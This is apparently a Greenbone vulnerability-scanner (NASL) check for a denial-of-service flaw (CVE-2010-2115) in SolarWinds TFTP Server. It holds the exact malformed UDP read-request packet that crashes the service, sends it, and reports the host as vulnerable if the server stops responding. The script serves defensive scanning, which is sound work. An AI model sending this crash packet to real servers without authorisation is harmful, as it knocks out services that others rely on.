SolarWinds TFTP Server 'Read' Request (Opcode 0x01) Denial Of Service Vulnerability

# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100653");
  script_version("2023-10-27T16:11:32+0000");
  script_tag(name:"last_modification", value:"2023-10-27 16:11:32 +0000 (Fri, 27 Oct 2023)");
  script_tag(name:"creation_date", value:"2010-05-25 13:42:13 +0200 (Tue, 25 May 2010)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_cve_id("CVE-2010-2115");

  script_name("SolarWinds TFTP Server 'Read' Request (Opcode 0x01) Denial Of Service Vulnerability");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/40333");

  script_category(ACT_DENIAL);
  script_family("Denial of Service");
  script_copyright("Copyright (C) 2010 Greenbone AG");
  script_dependencies("tftpd_detect.nasl", "global_settings.nasl", "os_detection.nasl");
  script_require_udp_ports("Services/udp/tftp", 69);
  script_mandatory_keys("tftp/detected");
  script_require_keys("Host/runs_windows");
  script_exclude_keys("keys/TARGET_IS_IPV6");

  script_tag(name:"summary", value:"SolarWinds TFTP Server is prone to a denial of service (DoS)
  vulnerability.");

  script_tag(name:"impact", value:"A successful exploit can allow attackers to crash the server process,
  resulting in a denial-of-service condition.");

  script_tag(name:"affected", value:"SolarWinds TFTP Server 10.4.0.10 is vulnerable. Other versions may
  also be affected.");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"WillNotFix");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  exit(0);
}

if(TARGET_IS_IPV6())
  exit(0);

include("tftp.inc");
include("misc_func.inc");
include("port_service_func.inc");

port = service_get_port(default:69, proto:"tftp", ipproto:"udp");

if(!tftp_alive(port:port))
  exit(0);

soc = open_sock_udp(port);
if(!soc)
  exit(0);

req = raw_string(0x00,0x01,0x01,0x00) + "NETASCII" + raw_string(0x00);
send(socket:soc, data:req);
close(soc);

if(!tftp_alive(port:port)) {
  security_message(port:port, proto:"udp");
  exit(0);
}

exit(99);